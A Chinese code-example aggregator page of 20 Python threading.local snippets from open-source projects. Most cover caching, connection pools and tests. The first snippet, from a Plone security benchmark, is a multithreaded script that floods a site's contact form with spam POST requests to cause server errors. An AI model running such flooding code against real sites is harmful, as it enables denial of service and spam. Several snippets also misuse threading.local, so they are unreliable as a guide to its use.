• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

Python threading.local函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了Python中threading.local函数的典型用法代码示例。如果您正苦于以下问题:Python local函数的具体用法?Python local怎么用?Python local使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了local函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。

示例1: run

 def run(self):
     global threadLock
     s = threading.local()
     self.__req = self.__victim + '/contact-info'
     self.__headers = {'Referer': self.__req, 
                       'Content-Type': 'multipart/form-data; boundary=---------------------------29713827018367436031035745563'}
     # Use a backoff sleep time to avoid all threads starting at once
     time.sleep(random.random())
     session = threading.local()
     session = requests.Session()
     while self.__running:
         self.__randstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
         self.__data = '-----------------------------29713827018367436031035745563\x0d\x0a' \
                       'Content-Disposition: form-data; name=\"form.widgets.sender_fullname\"\x0d\x0a\x0d\x0aspammer ' + self.__randstr + '\x0d\x0a' \
                       '-----------------------------29713827018367436031035745563\x0d\x0a' \
                       'Content-Disposition: form-data; name=\"form.widgets.sender_from_address\"\x0d\x0a\x0d\x0aspam-' + self.__randstr + '@nowhere.org\x0d\x0a' \
                       '-----------------------------29713827018367436031035745563\x0d\x0a' \
                       'Content-Disposition: form-data; name=\"form.widgets.subject\"\x0d\x0a\x0d\x0aspam ' + self.__randstr + '\x0d\x0a' \
                       '-----------------------------29713827018367436031035745563\x0d\x0a' \
                       'Content-Disposition: form-data; name=\"form.widgets.message\"\x0d\x0a\x0d\x0ajust_spam_' + self.__randstr + '\x0d\x0a' \
                       '-----------------------------29713827018367436031035745563\x0d\x0a' \
                       'Content-Disposition: form-data; name=\"form.buttons.send\"\x0d\x0a\x0d\x0aSenden\x0d\x0a' \
                       '-----------------------------29713827018367436031035745563--\x0d\x0a'
         try:
             self.__r = session.post(self.__req, headers=self.__headers, data=self.__data, verify = False)
             self.__e = self.__r.status_code
             self.__h = self.__r.headers
             self.__c = self.__r.content
             if self.__e >= 500: s = "5"
             else: s = "."
             # No need for thread safety here... Hrrhrrhrr :)
             sys.stdout.write(s)
         except (requests.ConnectionError):
             sys.stdout.write("E")
     pass
开发者ID:plone-security,项目名称:benchmarks,代码行数:35,代码来源:dos_plone.py


示例2: list_filters

def list_filters():
    filters = getattr(threading.local(), "filters", None)
    if filters is None:
        filterapi = FilterAPI()
        filters = dict([(f['id'], f) for f in filterapi.filters()])
        setattr(threading.local(), "filters", filters)
    return filters
开发者ID:Tvaske,项目名称:sponge,代码行数:7,代码来源:filter.py


示例3: list_roles

def list_roles():
    roles = getattr(threading.local(), "roles", None)
    if roles is None:
        roleapi = RoleAPI()
        roles = dict([(r, roleapi.info(r)) for r in roleapi.list()])
        setattr(threading.local(), "roles", roles)
    return roles
开发者ID:Tvaske,项目名称:sponge,代码行数:7,代码来源:role.py


示例4: test_create_local_subclass_init_args

    def test_create_local_subclass_init_args(self):
        with self.assertRaisesRegex(TypeError,
                                    "Initialization arguments are not supported"):
            local("foo")

        with self.assertRaisesRegex(TypeError,
                                    "Initialization arguments are not supported"):
            local(kw="foo")
开发者ID:gevent,项目名称:gevent,代码行数:8,代码来源:test__local.py


示例5: NewCursor

def NewCursor():
 global connection
 if not connection:
  try:
   connection = threading.local().connection
  except:
   connection = NewConnection()
  threading.local().connection = connection
 return connection.cursor()
开发者ID:FBSLikan,项目名称:TheQube,代码行数:9,代码来源:db.py


示例6: add_request

 def add_request(self,req_dict):
     if hasattr(threading.local(), 'ds_request'):
         local_req = getattr(threading.local(),'ds_request')
     else:
         local_req = {'cache':True}
     if 'cache' in req_dict and str(req_dict['cache']).lower() == 'false':
         local_req['cache'] = False
     
     setattr(threading.local(), 'ds_request', local_req)
开发者ID:cccarey,项目名称:demisauce,代码行数:9,代码来源:declarative.py


示例7: _browser

def _browser():
	""" Returns a thread-bound Browser object. The browser is initialized when created. """

	if hasattr(threading.local(), "browser"):
		return threading.local().browser
	else:
		browser = mechanize.Browser()
		_initialize(browser)
		threading.local().browser = browser

		return browser
开发者ID:kleopatra999,项目名称:pixivloader,代码行数:11,代码来源:browser.py


示例8: trapExit

 def trapExit( code ):
     """
     Cherrypy likes to call os._exit() which causes the interpreter to 
     bomb without a chance of catching it. This sucks. This function
     will replace os._exit() and throw an exception instead
     """
     if hasattr( threading.local(), "isMain" ) and threading.local().isMain:
         # The main thread should raise an exception
         sys.stderr.write("*******EXIT WAS TRAPPED**********\n")
         raise RuntimeError, "os._exit() was called in the main thread"
     else:        
         # os._exit on child threads should just blow away the thread
         raise SystemExit, "os._exit() was called in a child thread. " +\
                           "Protecting the interpreter and trapping it"
开发者ID:stuartw,项目名称:WMCore,代码行数:14,代码来源:setup_test.py


示例9: run

 def run(self):
     serverip = threading.local()
     _timeout = threading.local()
     serverip = self.kwargs['server']
     _timeout = self.kwargs['timeout']
     _lock = self.kwargs['lock']
     with _lock:
         print 'monitoring ' + serverip + ' with timeout ' +\
             str(_timeout)
     if syslog:
         syslog.syslog('monitoring ' + serverip)
     count = 0
     while (1):
         for domain in config.domains():
             startTime = datetime.datetime.now()
             try:
                 req = threading.local()
                 req = DNS.Request(domain, qtype='A',
                                   server=serverip,
                                   timeout=_timeout).req()
                 endTime = datetime.datetime.now()
                 duration = threading.local()
                 duration = _convert_milliseconds(endTime - startTime)
                 if req.header['status'] == 'NOERROR':
                     if config.verbose():
                         with _lock:
                             print domain + '@' + serverip + ' OK'
                     statusQueue.put('OK' +
                                     ' ' +
                                     serverip +
                                     ' ' +
                                     domain +
                                     ' ' +
                                     str(duration))
             except Exception:
                 endTime = datetime.datetime.now()
                 duration = _convert_milliseconds(endTime - startTime)
                 statusQueue.put('BAD ' +
                                 serverip +
                                 ' ' +
                                 domain +
                                 ' ' +
                                 str(duration))
         sleep(config.frequency())
         if (config.cycles()):
             count += 1
             cycles = config.cycles()
             if (count >= cycles):
                 break
开发者ID:fzylogic,项目名称:nsmon,代码行数:49,代码来源:nsmon.py


示例10: get_repos

def get_repos(reload=False):
    if reload:
        repos = None
    else:
        repos = getattr(threading.local(), "repos", None)
    if repos is None:
        # this looks inefficient, and it is, but repos has to be fully
        # loaded before we can call _load_repo_extras(), so we have to
        # do this in two separate loops
        repoapi = RepositoryAPI()
        repos = dict([(r["id"], r) for r in repoapi.repositories(dict())])
        for repo in repos.values():
            _load_repo_extras(repo, repos=repos)
        setattr(threading.local(), "repos", repos)
    return repos
开发者ID:stpierre,项目名称:sponge,代码行数:15,代码来源:repo.py


示例11: __init__

    def __init__(self, hub):
        self.badge_rules = []
        self.hub = hub

        super(FedoraBadgesConsumer, self).__init__(hub)

        self.consume_delay = int(self.hub.config.get('badges.consume_delay',
                                                     self.consume_delay))
        self.delay_limit = int(self.hub.config.get('badges.delay_limit',
                                                   self.delay_limit))

        # Five things need doing at start up time
        # 0) Set up a request local to hang thread-safe db sessions on.
        # 1) Initialize our connection to the tahrir DB and perform some
        #    administrivia.
        # 2) Initialize our connection to the datanommer DB.
        # 3) Load our badge definitions and rules from YAML.
        # 4) Initialize fedmsg so that those listening to us can handshake.

        # Thread-local stuff
        self.l = threading.local()

        # Tahrir stuff.
        self._initialize_tahrir_connection()

        # Datanommer stuff
        self._initialize_datanommer_connection()

        # Load badge definitions
        directory = hub.config.get("badges.yaml.directory", "badges_yaml_dir")
        self.badge_rules = self._load_badges_from_yaml(directory)
开发者ID:nask0,项目名称:fedbadges,代码行数:31,代码来源:consumers.py


示例12: __init__

    def __init__(
        self, ns, logical_home_folder,
        inherits_from=None, inheritable_folders=None):
        """Creates a new instance of the datastore-backed file system.

        Args:
            ns: A datastore namespace to use for storing all data and metadata.
            logical_home_folder: A logical home dir of all files (/a/b/c/...).
            inherits_from: A file system to use for the inheritance.
            inheritable_folders: A list of folders that support inheritance.

        Returns:
            A new instance of the object.

        Raises:
            Exception: if invalid inherits_from is given.
        """

        if inherits_from and not isinstance(
                inherits_from, LocalReadOnlyFileSystem):
            raise Exception('Can only inherit from LocalReadOnlyFileSystem.')

        self._ns = ns
        self._logical_home_folder = AbstractFileSystem.normpath(
            logical_home_folder)
        self._inherits_from = inherits_from
        self._inheritable_folders = []
        self._cache = threading.local()

        if inheritable_folders:
            for folder in inheritable_folders:
                self._inheritable_folders.append(AbstractFileSystem.normpath(
                    folder))
开发者ID:mmoylan,项目名称:course-builder,代码行数:33,代码来源:vfs.py


示例13: __init__

    def __init__(self, sqluri, standard_collections=False, **dbkwds):

        self.sqluri = sqluri
        self.dbconnector = DBConnector(sqluri, **dbkwds)

        # There doesn't seem to be a reliable cross-database way to set the
        # initial value of an autoincrement column.  Fake it by inserting
        # a row into the table at the desired start id.
        self.standard_collections = standard_collections
        if self.standard_collections and dbkwds.get("create_tables", False):
            zeroth_id = FIRST_CUSTOM_COLLECTION_ID - 1
            with self.dbconnector.connect() as connection:
                params = {"collectionid": zeroth_id, "name": ""}
                try:
                    connection.query("INSERT_COLLECTION", params)
                except IntegrityError:
                    pass

        # A local in-memory cache for the name => collectionid mapping.
        self._collections_by_name = {}
        self._collections_by_id = {}
        if self.standard_collections:
            for id, name in STANDARD_COLLECTIONS:
                self._collections_by_name[name] = id
                self._collections_by_id[id] = name

        # A thread-local to track active sessions.
        self._tldata = threading.local()
开发者ID:crankycoder,项目名称:server-syncstorage,代码行数:28,代码来源:__init__.py


示例14: __init__

 def __init__(self, locks):
     if not isinstance(locks, tuple):
         locks = tuple(locks)
     if len(locks) <= 0:
         raise ValueError("Zero locks requested")
     self._locks = locks
     self._local = threading.local()
开发者ID:Dynavisor,项目名称:taskflow,代码行数:7,代码来源:lock_utils.py


示例15: __init__

 def __init__(self):
     self._key_to_registration = dict()
     self._singleton_instances = dict()
     self._singleton_instances_lock = threading.Lock()
     self._weak_references = WeakValueDictionary()
     self._weak_references_lock = threading.Lock()
     self._thread_local = threading.local()
开发者ID:careerfamily,项目名称:simpleioc,代码行数:7,代码来源:simpleioc.py


示例16: __init__

    def __init__(self, size, **kwargs):
        if not isinstance(size, int):
            raise TypeError("Pool 'size' arg must be an integer")

        if not size > 0:
            raise ValueError("Pool 'size' arg must be greater than zero")

        logger.debug(
            "Initializing connection pool with %d connections", size)

        self._lock = threading.Lock()
        self._queue = Queue.LifoQueue(maxsize=size)
        self._thread_connections = threading.local()

        connection_kwargs = kwargs
        connection_kwargs['autoconnect'] = False

        for i in xrange(size):
            connection = Connection(**connection_kwargs)
            self._queue.put(connection)

        # The first connection is made immediately so that trivial
        # mistakes like unresolvable host names are raised immediately.
        # Subsequent connections are connected lazily.
        with self.connection():
            pass
开发者ID:Obus,项目名称:happybase,代码行数:26,代码来源:pool.py


示例17: __init__

 def __init__(
         self,
         parent=None,
         **kwargs
 ):
     self._construction_complete = False
     self._database = kwargs.pop('database', not_set)
     explicit_kwargs = list(kwargs)
     defaults = parent or settings.default
     if defaults is not None:
         for setting in all_settings.values():
             if kwargs.get(setting.name, not_set) is not_set:
                 kwargs[setting.name] = getattr(defaults, setting.name)
             elif setting.validator:
                 kwargs[setting.name] = setting.validator(
                     kwargs[setting.name])
         if self._database is not_set:
             self._database = defaults.database
     for name, value in kwargs.items():
         if name not in all_settings:
             raise InvalidArgument(
                 'Invalid argument %s' % (name,))
         setattr(self, name, value)
     self.storage = threading.local()
     self._construction_complete = True
     for k in explicit_kwargs:
         deprecation = all_settings[k].deprecation
         if deprecation:
             note_deprecation(deprecation, self)
开发者ID:adamtheturtle,项目名称:hypothesis,代码行数:29,代码来源:_settings.py


示例18: getConf

def getConf():
    _data = threading.local()
    if hasattr(_data, 'conf'):
        log.debug(_("Returning thread local configuration"))
        return _data.conf

    return conf
开发者ID:kolab-groupware,项目名称:bonnie,代码行数:7,代码来源:__init__.py


示例19: setUp

        def setUp(self):
            """
            Clear cached appstore connection
            """
            tank.util.shotgun.connection._g_sg_cached_connections = threading.local()
            tank.set_authenticated_user(None)

            # Prevents from connecting to Shotgun.
            self._server_caps_mock = patch("tank_vendor.shotgun_api3.Shotgun.server_caps")
            self._server_caps_mock.start()
            self.addCleanup(self._server_caps_mock.stop)

            # Avoids crash because we're not in a pipeline configuration.
            self._get_api_core_config_location_mock = patch(
                "tank.util.shotgun.connection.__get_api_core_config_location",
                return_value="unused_path_location"
            )
            self._get_api_core_config_location_mock.start()
            self.addCleanup(self._get_api_core_config_location_mock.stop)

            # Mocks app store script user credentials retrieval
            self._get_app_store_key_from_shotgun_mock = patch(
                "tank.descriptor.io_descriptor.appstore.IODescriptorAppStore."
                "_IODescriptorAppStore__get_app_store_key_from_shotgun",
                return_value=("abc", "123")
            )
            self._get_app_store_key_from_shotgun_mock.start()
            self.addCleanup(self._get_app_store_key_from_shotgun_mock.stop)
开发者ID:adriankrupa,项目名称:tk-core,代码行数:28,代码来源:test_shotgun_connect.py


示例20: __init__

 def __init__(self, solver_backend, timeout=None, track=False, **kwargs):
     ConstrainedFrontend.__init__(self, **kwargs)
     self._track = track
     self._solver_backend = solver_backend
     self.timeout = timeout if timeout is not None else 300000
     self._tls = threading.local()
     self._to_add = []
开发者ID:angr,项目名称:claripy,代码行数:7,代码来源:full_frontend.py



注:本文中的threading.local函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Python threading.lock函数代码示例发布时间:2022-05-27
下一篇:
Python threading.get_ident函数代码示例发布时间:2022-05-27
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap